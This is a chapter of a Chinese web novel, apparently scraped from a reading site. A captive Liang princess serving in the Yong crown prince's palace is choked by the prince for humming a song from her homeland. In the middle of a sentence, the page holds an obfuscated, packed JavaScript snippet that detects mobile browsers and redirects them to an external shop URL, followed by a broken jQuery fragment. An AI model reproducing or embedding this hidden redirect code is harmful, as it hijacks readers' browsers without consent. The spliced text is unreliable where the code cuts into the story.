默认冷灰
24号文字
方正启体

4. 成灰

作者:霓虹海盗本书字数:K更新时间:
    逃不出去,怎么都逃不出去。


    她已经吞了一嘴的灰,喉咙干得要命,身上黏糊糊的,一具尸体压在她身上,旁边正经过一队全副武装的雍兵,他们手臂上和脖子上都挂满了刚刚从梁国后宫搜刮而来的金银珠宝。


    星湖闭着眼,纵使血腥气冲得她想吐,她却一动也不敢动。


    终于,那队雍兵走远了。


    她推开身上的尸体,想跑到宫门口一个草垛后面。


    跑不动。


    星湖用尽了全身力气,可双脚仿佛被灌满泥沙,根本拖动不了。


    不对,有什么东西拉住她了。


    星湖回头,是母妃,满脸鲜血的母妃,她死死抓着星湖的脚踝,黑白分明的眼死死盯着星湖,而后咧嘴一笑。


    牙齿全部掉了下来。


    星湖无声猛然睁开眼,呼吸急促,胸膛起伏。


    在这大雍的东宫里,她做噩梦都不敢叫出声。


    转了个身后,星湖紧紧拽住被子,而后,极小声的啜泣出来。


    泪水慢慢浸湿了半边枕头。


    ——


    帕兰月醒来时,又一次看到星湖坐在梳妆台前,用手指蘸水,在桌面上写字。


    那件雪狐裘已经滑落下来,但星湖浑然不觉。


    帕兰月轻轻下床,走过去捡起狐裘给星湖披上。


    星湖被吓了一跳,整个人重重一抖,转过头看她。


    杏仁眼中盛满愁绪,好似氤氲着故乡江南的千里烟波。


    帕兰月的心瞬间被这样的哀愁感染,眼眶也泛红了,星湖抹了抹鼻子,挥手擦掉桌上的水渍。


    “公主,你又没睡好吗?”帕兰月问。


    星湖站起身,顾左右而言它:“春杏说鹤汀池畔腊梅还剩最后一茬,我去摘些回来。”


    前脚踏出芝兰苑,后脚秋棠就追了出来。


    秋棠语气不善:“你这么早出去做什么?”


    春杏和秋棠盯梢的方法并不高明,每当星湖和帕兰月独处超过半个时辰,她们必然会有一个找由头进房看看二人在做什么,而星湖每次一个人出去哪怕只是办点事,她们也会跟上来。自从上元夜星湖被贵妃扣留一晚后,她们盯梢盯得更紧了。


    “只是出去采点花。”星湖耐心地解释。


    清晨长而阔的宫道上寂寥无人,前一晚的寒气仍然低回盘旋,东边的天际氤氲出一抹淡淡的粉,星湖的心情明媚了些,今日应是个晴日,脚步便轻快不少。


    见一路没有别人,秋棠拉了拉星湖的袖子,好奇地小声问:“苌楚,你和良娣之前到底做了什么事情,让殿下不放心了?”


    星湖嗤笑一声:“我们寄人篱下,处处小心,哪里敢行差踏错,我怎么知道你们殿下为什么犯病?”


    听星湖语出不逊,秋棠一时有些生气,又有些害怕。四下观察确定无人后,她还是好言劝慰:“你别这么说,太子殿下的气度已是大雍诸皇子中独一份的好了,否则就冲你这张脸,哪有机会在宫里伺候,保个衣食无忧?”


    这样的衣食无忧她一点也不想要,星湖心里烦躁地想,面上却只是平静地点了点头。


    秋棠见状松了口气,继续道:“我和春杏虽然入宫比你长,但月银其实比你也高不了多少,过来侍奉良娣,并无额外的赏银,一旦犯错,辛辛苦苦小半个月的钱就打了水漂。我能不能和你打个商量,以后别再触殿下的霉头,咱们都安安分分在这东宫伺候,我不挑你的错,你也别犯事,大家也都能落个安生。”


    虽然秋棠是雍国人,星湖却并不仇视她,她只是个奴婢,对战争毫无推波助澜的作用。反正在这雍宫只用待两个多月,等假死药制成便可离开,没必要难为两个和她同龄的苦命女孩。


    “好,我答应你。”


    得到星湖的保证,秋棠的脸色这才完全舒展开,她轻松地问:“你打算去哪里采什么花?”


    “去采点鹤汀池畔的腊梅。”


    “鹤汀池?”秋棠停下了脚步。


    据说前些年每年都会有人淹死在鹤汀池里面,久而久之,湖里有水鬼的传言愈演愈烈,渐渐地,便没什么人来这湖边了。


    秋棠看样子也对这个传言心存畏惧。


    “我刚刚既然已经答应了你,便绝不会做越矩之事,你若是不想陪我去采花,就回去睡觉吧,外面冷。”星湖微微一笑。


    “好,”秋棠从善如流,“那你采完就回来吧,这个时辰人还少,别在那里待太久。”


    二人作别后,星湖一路快步来到鹤汀池畔。


    湖边的植物生长得极好,几株腊梅不像别处的已经接近凋零,仍然开得很盛,淡淡的清香沁人心脾。


    四下无人,连一丝风也没有,安静得有些吓人。据说过去总有人听见鹤汀池畔半夜传来唱曲声,去找时却寻不到人。星湖并不怕这里有鬼,有鬼总比有心怀不轨的人要好,但她不喜欢现下过份的安静,便哼起一支小曲,边哼边伸手去摘树上的腊梅。


    她摘了几株粉色腊梅,另还有株腊梅是白色的,她正要抬手去摘,突然发现树干上刻了字。


    宝泰与银环永远在一起。


    星湖看着那行写得歪歪扭扭的字,手指轻轻触碰上去,忍不住笑了。


    她没听说过宫里有宝泰和银环这两个人,或许是某个只有他们彼此知道的小名,又或许这两个人生活在很久之前,毕竟这棵树看起来有些年头了。


    不知道他们在刻下这行字时,是抱着未来能在一起的希望,还是知道两个人此生绝无可能在一起了,所以至少把名字刻在一起。


    星湖觉得这种行为有些犯傻,这种犯傻的事,她曾经也干过一次,唯一的一次。


    渺渺和羲奴要永远在一起。


    这句话被留在梁国王宫的一棵树上,大约早已连同那棵树一起化为灰烬。


    往事不可追。


    星湖叹了口气,收回手,折下一朵腊梅,正准备离开,身后有清冷的男声问:“你刚刚哼的是什么曲子?”


    她心下大惊,几乎想要拔腿逃跑,但敛了敛心神,终归只是转过身,面容平静地把怀中腊梅放在地上,跪下叩首:“殿下万安。”


    刚才星湖不知不觉中,哼了梁国的《采莲曲》。但这次她真不是故意的,星湖压根没想到,这个时辰除了她还会有人来这里,更何况是李知壑,简直比遇到鬼更可怕。


    余光瞥见衣襟摆动,李知壑走近了她。


    “抬头。”他命令。


    星湖深吸一口气,直身抬起了头。


    他的眼神滑过她脸上的面纱,她跪在结霜地面上的身体,地上的腊梅,而后回到她脸上。


    突然,李知壑伸手掐住星湖两边颈侧,发力将她整个人往上提起来。


    被捏住的地方刹时疼得要命,脸颊又酸又涨,脑子都几乎空白了,紧随而来的是窒息的感觉。星湖本能地挥手想去抓他,袖子向下滑下一小段,露出一块凹凸不平的皮肤,她瞬间有些回过神来,把手重新放下去。


    他早已不是那个需要她护着的小质子,如今的力气已经是她远远不能反抗的了。李知壑像拎着一只鸡仔一样晃了晃星湖,用最柔软的声音告知她:“要是再让我听到这首曲子从你嘴里哼出来,你以后就不要想再发出任何声音了。”


    星湖挣扎着点头。


    李知壑这才松手,星湖软绵绵地摔倒在地上,大口喘气,空气太冷,她被刺激得咳嗽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547441|204207||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来。


    咳着咳着,眼泪就涌出来了。


    李知壑并无心留下来观赏她窘迫的模样,星湖这下却不敢再赌这里不会冒出别的什么人了。她努力把泪水憋回肚子里,手指深深抓进地面,心里计算着那个日子。


    两个月十五天。


    ——


    回到芝兰苑时,帕兰月正坐在窗前,长吁短叹地绣着一个似乎是香囊的东西。


    “这是什么?”星湖问。


    帕兰月放下手里的绣活,看起来要翻白眼了。


    “早上你不在,皇后召见了我,她叫人给我讲《女则》,还敲打我,想要在这雍宫里活下去,终归还是要讨得太子开心,为他开枝散叶的。”


    星湖皱眉,将腊梅分瓶插好后拿过帕兰月手里的香囊:“你这是给他绣的?”


    帕兰月无奈地点点头。


    星湖努了努嘴:“还不如绣给我呢。”


    “我倒是也想绣给你。”帕兰月想了想,下定了决心:“绣吧,都绣,你想要什么绣样?”


    话音刚落,她面色一滞,站起身看向星湖的颈侧:“你这里怎么了?”


    她手指伸过来,在眼睛凝视着的那块皮肤上按了下去。


    星湖“嘶”了一声,好疼。


    她快步走到梳妆台的镜子前,偏过头看脖子侧面。


    一大块青紫。


    转到另一侧,颜色稍轻,但同样有一块青紫。


    “公主!”帕兰月瞬间什么都忘了,“你怎么了?有人打你了吗?”


    星湖没有去纠正她,只轻轻点了点头:“是那个人……我早上去采腊梅,以为附近没人,哼了首《采莲曲》,被他刚好撞到了。”


    帕兰月震惊地看着星湖脖子上的青紫,满眼震惊,嘴唇张开又合上,最终什么都没说,走回窗边榻上,拿起缝到一半的香囊,一剪刀就从中剪了下去。


    “月儿!”星湖怕她发出太大的动静,连忙走过去制止,“我还好,不疼,真的已经不疼了!这香囊是你亲手缝的,你把它剪了只是跟自己过不去,根本伤不到那个人。再忍忍,我们都再忍忍,不到三个月我们就能走了!”


    帕兰月点头,将香囊和剪刀扔回篮子里,看向星湖的眼睛仍是盛满心疼。


    午饭时,星湖什么都吃不下,帕兰月自是无需她伺候,下午她便睡下了,这一睡就睡到了黄昏。


    在用晚膳前,李知壑身边的内侍谢寅来了趟芝兰苑。


    星湖和帕兰月见到谢寅本都有些惶恐,两人面面相觑,有点不知道她们又做错了什么。


    秋棠的脸色更是一下子沉了下去,有些难以置信地看向了星湖,她上午才保证过不会做出格的事!


    好在谢寅此行,并不是来发难的。


    李知壑赏了帕兰月一副珍珠首饰,十匹云锦,顺带竟然给星湖也送了五匹提花绫和一些精致的糕点吃食。


    谢过恩后,两人都有些摸不着头脑。


    帕兰月看起来气消了些,星湖摸了摸脖子,小声建议:“要不那个香囊你还是给他做了吧?”


    帕兰月很坚定:“不。”


    第二天清晨在院内洒扫时,秋棠凑了过来,小声问:“你昨日是不是触了太子殿下的霉头?”


    见星湖不回答,秋棠自顾自继续询问:“你脖子上的那一大块,是不是殿下弄的?”


    星湖转过身看向她:“你怎么知道,你昨天跟着我去鹤汀池了?”


    “没有,殿下昨晚给了你赏赐,你脖子上刚好有伤,如果不是因为他失手动了你过意不去的话……”秋棠的眼神状似无意地从星湖脸上的疤痕掠过,似乎对接下来要说的话有些难为情,“总不能是因为看上你了吧?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)